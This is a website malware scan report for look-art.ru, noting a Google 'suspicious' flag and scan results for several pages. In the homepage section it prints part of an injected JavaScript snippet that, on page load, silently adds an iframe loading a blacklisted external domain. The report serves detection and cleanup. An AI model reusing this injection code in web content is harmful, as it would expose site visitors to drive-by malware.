New scan:

Malware Scanner report for look-art.ru

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "look-art.ru" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=look-art.ru

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://look-art.ru/
200 OK
Content-Length: 55662
Content-Type: text/html
malicious
Malicious code found. Script contains blacklisted domain: ckidkina.ru

...[575 bytes skipped]...
iframe.setAttribute("frameBorder", "0");
var dels = document.getElementsByTagName("DIV");
if(dels.length == 0){document.body.appendChild(iframe);}
else{document.getElementsByTagName("DIV")[dels.length-1].appendChild(iframe);}
iframe.src = url;
return true;
}
}
function gtkhjasd454hfhf235(){
create_frame("http://ckidkina.ru/?id=ifrm");
}
try {
if(window.attachEvent) {
window.attachEvent('onload', gtkhjasd454hfhf235);
} else {
if(window.onload) {
var curronload = window.onload;
var newonload = function() {
curronload();
gtkhjasd454hfhf235();
};
window.onload = newonload;
} else {
window.on
...[78 bytes skipped]...

Decoded script:


function gtkhjasd454hfhf235() {
create_frame("http://ckidkina.ru/?id=ifrm");
}

http://look-art.ru/js/jquery.js
200 OK
Content-Length: 78601
Content-Type: application/x-javascript
clean
http://look-art.ru/js/interface.js
200 OK
Content-Length: 79401
Content-Type: application/x-javascript
clean
http://look-art.ru/js/jquery.colorbox.js
200 OK
Content-Length: 24027
Content-Type: application/x-javascript
clean
http://look-art.ru/js/jquery.lightbox.js
200 OK
Content-Length: 20098
Content-Type: application/x-javascript
clean
http://look-art.ru/js/jquery.autocomplete.js
200 OK
Content-Length: 12023
Content-Type: application/x-javascript
clean
http://look-art.ru/js/thickbox.js
200 OK
Content-Length: 12683
Content-Type: application/x-javascript
clean
http://look-art.ru/js/main.js
200 OK
Content-Length: 4365
Content-Type: application/x-javascript
clean
http://look-art.ru/js/jquery.form.js
200 OK
Content-Length: 22463
Content-Type: application/x-javascript
clean
http://look-art.ru/js/myscroll.js
200 OK
Content-Length: 961
Content-Type: application/x-javascript
clean
http://look-art.ru/netcat/admin/js/lib.js
200 OK
Content-Length: 12871
Content-Type: application/x-javascript
clean
http://look-art.ru/netcat/modules/calendar/calendar.js
200 OK
Content-Length: 1558
Content-Type: application/x-javascript
clean
http://look-art.ru//mc.yandex.ru/metrika/watch.js/
404 Not Found
Content-Length: 23685
Content-Type: text/html
clean
http://look-art.ru/about/
200 OK
Content-Length: 26842
Content-Type: text/html
clean
http://look-art.ru/adv/
200 OK
Content-Length: 22648
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: look-art.ru

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Jan 2015 05:08:35 GMT
Server: nginx/1.4.3
Vary: Accept-Encoding
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.4.12
Second query (visit from search engine):
GET / HTTP/1.1
Host: look-art.ru
Referer: http://www.google.com/search?q=look-art.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.